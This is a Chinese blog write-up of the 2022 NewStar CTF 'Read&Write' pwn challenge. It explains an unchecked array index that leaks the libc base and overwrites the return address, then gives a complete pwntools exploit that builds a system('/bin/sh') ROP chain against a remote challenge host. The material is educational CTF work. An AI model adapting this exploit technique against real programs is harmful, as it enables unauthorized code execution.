2022NewStar新生赛—Read&Write

先看看开了什么保护机制

打开64位ida看看

这个就是一个菜单程序,一共两个功能,第一个功能读取栈上数组的内容,第二个功能往栈上数组写东西,看一下发现数组下标没有判断,也就是说我们可以数组越界到返回地址那边去修改,这样子和栈溢出异曲同工,甚至可以绕过canary,毕竟数组越界我们可以精准打击到返回地址,而不是一大片的覆盖过去,然后去找一下system函数和/bin/sh参数,找一下发现没有,然后附件还给了libc文件,那就是说我们要泄露libc地址,然后再去根据libc的system和/bin/sh去rop,泄露libc地址可以像之前一样构造rop,然后记得要在次执行主函数就行了,至于地址随机化直接去栈上泄露出来就行,有数组越界,只要在栈上,我们想知道啥就能知道啥,想改成啥就能改成啥,第二种就是直接泄露libc地址,不用去rop构造puts函数输出puts的got表的内容,要知道主函数返回地址上会有什么东西呢,主函数执行完是要去执行libc里的一个函数,那么这个返回地址不就是libc的地址吗,所以我们直接泄露出返回地址的内容就可以了
有一点要注意,我们的int是4字节,也就是我们读和写一次性只能操作4字节,而64位是8字节一组,所以我们要操作两次然后拼起来
首先解决读到两个4字节怎么拼成8字节,一个字节在16位下是两个数字,那么在2进制下就是8个数组,也就是说高4字节左移4*8=32位在加上低4字节就行了
然后解决一个八字节怎么拆成两个四字节,首先先拆出高4字节,这个比较简单,右移32位就行了,不理解的动手模拟一下右移就会了,低4字节的话要把高4字节变成0,这时候我们想到了&操作,只要&上一个高4字节都是0,低4字节都是1的数就好了,这个数就是0xffffffff,这样子就解决了

from pwn import*
p=remote('node4.buuoj.cn',26952)
libc=ELF('./libc-2.31.so')
def Read(idx):
	p.recvuntil('> ')
	p.sendline(str(1))
	p.recvuntil('Idx:')
	p.sendline(str(idx))
	p.recvuntil('num: ')
	return p.recvuntil('\n',True)
def Write(idx,context):
	p.recvuntil('> ')
	p.sendline(str(2))
	p.recvuntil('Idx:')
	p.sendline(str(idx))
	p.recvuntil('Num:')
	p.sendline(str(context))
def Exit():
	p.recvuntil('> ')
	p.sendline(str(0))
libc_low=Read(262)
libc_hight=Read(263)
libc_base=(int(libc_hight)<<32)+int(libc_low)-0x24083
print(hex(libc_base))
pop_rdi=0x23b6a+libc_base
ret=0x22679+libc_base
system=libc.symbols['system']+libc_base
binsh=libc.search(b'/bin/sh\x00').next()+libc_base
#payload=pop_rdi+binsh+ret+system
Write(262,pop_rdi&0xffffFFFF)
Write(263,pop_rdi>>32)
Write(264,binsh&0xffffFFFF)
Write(265,binsh>>32)
Write(266,ret&0xffffFFFF)
Write(267,ret>>32)
Write(268,system&0xffffFFFF)
Write(269,system>>32)
Exit()
p.interactive()
posted @ 2022-10-10 16:51  予柒  阅读(104)  评论(0编辑  收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/